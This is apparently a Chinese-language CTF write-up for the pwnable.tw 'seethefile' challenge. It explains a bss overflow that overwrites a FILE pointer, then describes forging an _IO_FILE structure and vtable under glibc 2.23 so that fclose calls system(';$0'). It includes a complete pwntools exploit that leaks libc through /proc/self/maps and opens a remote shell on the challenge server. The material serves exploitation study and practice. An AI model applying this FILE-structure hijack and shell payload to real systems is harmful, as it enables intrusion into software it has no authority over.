主要参考: https://xuanxuanblingbling.github.io/ctf/pwn/2020/04/03/file/
2.23版本没有做检查, 简单入门下iofile
利用分析
Ubuntu GLIBC 2.23-0ubuntu5
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| int __cdecl main(int argc, const char **argv, const char **envp) { char nptr; unsigned int v4;
v4 = __readgsdword(0x14u); init(); welcome(); while ( 1 ) { menu(); __isoc99_scanf("%s", &nptr); switch ( atoi(&nptr) ) { case 1: openfile(); break; case 2: readfile(); break; case 3: writefile(); break; case 4: closefile(); break; case 5: printf("Leave your name :"); __isoc99_scanf("%s", &name); printf("Thank you %s ,see you next time\n", &name); if ( fp ) fclose(fp); exit(0); return; default: puts("Invaild choice"); exit(0); return; } } }
|
一眼顶针 name存在溢出,可以溢出到fp, 并且保护没有开PIE,可以知道地址,
1 2 3 4 5 6 7 8
| .bss:0804B260 name db 20h dup(?) ; DATA XREF: main+9F↑o .bss:0804B260 ; main+B4↑o .bss:0804B280 public fp .bss:0804B280 ; FILE *fp .bss:0804B280 fp dd ? ; DATA XREF: openfile+6↑r .bss:0804B280 ; openfile+AD↑w ... .bss:0804B280 _bss ends .bss:0804B280
|
fp这里是一个FILE结构体,如何利用呢?
伪造一个fake FILE,放到bss后面就可以了,地址也知道,然后覆盖地址为伪造的FILE地址
伪造iofile及其虚表
如何伪造? 各个变量的值应该是多少?、
file结构:https://ctf-wiki.org/pwn/linux/user-mode/io-file/introduction/
1 2 3 4 5 6 7
| fakeFILE = 0x0804B284 payload = 'a'*0x20 payload += p32(fakeFILE) payload += p32(0xffffdfff) payload += ";$0"+'\x00'*0x8d payload += p32(fakeFILE+0x98) payload += p32(system_addr)*3
|
iofile的结构如下图:
伪造flags 从而触发_finish
1
| _flags&0x2000为0就会直接调用_IO_FINSH(fp),_IO_FINSH(fp)相当于调用fp->vtable->_finish(fp)
|
所以最后是调用了_IO_file_finish触发的(fclose?), 为什么不用/bin/sh呢?
伪造虚表
IOFILE之后就是 _IO_file_jumps,所以,可以劫持这个vtable指针,
1 2
| pwndbg> p sizeof(_IO_FILE) $4 = 148
|
大小是148, 也就是0x94, 0x94这里存的是虚表的地址,所以 虚表的位置位于fakeFILE+0x94 + 4
_finish位于第三个位置,所以把第三个位置伪造成system就行了
;$0是什么?
;是隔断命令的意思, $0经过实验是bash
exp
exp一直没成功,估计是栈平衡的事? 不像, libc的事
本地和远程还不太一样, 远程的话,接收到的libc地址需要+0x1000( 在调试的时候能发现这一个特殊的地方,虽然不知道是干啥的,
远程打通的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| from pwn import *
context(arch='i386',os='linux',log_level='debug') context.terminal = ['tmux', 'splitw', '-h'] myelf = ELF("./seethefile") #libc = ELF("./libc.so.6") libc = ELF("./libc_32.so.6") io = remote("chall.pwnable.tw",10200) #io = process("./seethefile") sla = lambda delim,data :io.sendlineafter(delim, data) openfile = lambda name : (sla("choice :","1"),sla("see :",name)) readfile = lambda : (sla("choice :","2")) showfile = lambda : (sla("choice :","3")) leave = lambda name : (sla("choice :","5"),sla("ame :",name)) # gdb.attach(io) # leak libc openfile("/proc/self/maps") readfile() showfile() io.recvuntil("[heap]\n") libc_addr = int(io.recv(8),16) + 0x1000 print("libc:",hex(libc_addr)) system_addr = libc_addr +libc.symbols['system'] print(hex(system_addr)) #pause() # make fake file fakeFILE = 0x0804B284 payload = b'a'*0x20 payload += p32(fakeFILE) payload += p32(0xffffdfff) payload += b";$0"+b'\x00'*0x8d payload += p32(fakeFILE+0x98) payload += p32(system_addr)*3
# getshell leave(payload) io.interactive()
|